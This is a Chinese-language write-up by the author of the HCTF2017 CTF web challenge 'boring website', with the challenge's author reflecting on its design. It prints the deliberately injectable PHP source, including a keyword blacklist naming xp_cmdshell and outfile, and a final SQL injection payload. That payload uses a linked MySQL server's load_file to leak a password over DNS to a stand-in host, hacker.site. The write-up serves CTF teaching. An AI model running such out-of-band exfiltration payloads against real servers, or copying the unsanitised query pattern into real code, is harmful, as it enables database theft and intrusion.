HCTF2017 boring website 出题思路

这是第一次为HCTF出题,所以经验不足,题目脑洞过大以及有N多非预期,请师傅们轻喷,但是虚心接受所有批评,希望明年能出更好更有质量的题目,请师傅们期待明年更好的HCTF

wp

首先扫目录发现有www.zip,下载并打开发现是源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
echo "Bob received a mission to write a login system on someone else's serve
r, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare
|if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: O
n linkname:mysql
$stmt = $conn->query( $query );
if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}
?>

发现应该是sql server用linkserver来连接mysql。所以去查了一波linkserver的用法,以及结合注释可得select * from openquery(mysql,'select xxx')可以从mysql数据库中查得信息,但是没有回显,sleep函数也被ban了,然后看到oob的提示,去查了一波mysql out-of-band,发现load_file函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。 最终的payload: /?id=1 union select * from openquery(mysql,'select load_file(concat("\\\\",(select password from secret),".hacker.site\\a.txt"))')

dnslog 平台可以自己搭也可以用ceye

写在后面的话

因为前阵子看了Freebuf的《HTTP盲攻击》的课程,以及学长说out-of-bands attack在实战中是趋势,所以想出一道oob类型的题目。正好学长给了个mssql linkserver的思路,以及我看到了这篇文章MySQL Out-of-Band 攻击,所以想着怎么把两者结合,但是当题出完的时候,发现有点僵硬,mssql套着mysql,就算是实战中都算脑洞的更何况ctf中。但是时间不够,没有把题改的更加自然,完全就是为了出题而出题。最后说下为什么要套壳,因为sqlmap支持dns leak攻击,但是我太菜了不知道怎么防,最后只能套壳来防一防,但是如果有大佬用自己的payload跑,这点防御也是不堪一击。 其次,在题目描述上也做的不好,因为一些大佬看到/id=1就去怼注入了,没想到www.zip,并且扫目录导致题目不是很稳定。然后oob的提示放的不是很明显,导致一些人不知道怎么下手,还有就是过滤规则没做好,导致了非预期,使得服务器负载居高不下。这些都是欠考虑的地方,也是警醒自己下次不能再犯这样的错误了。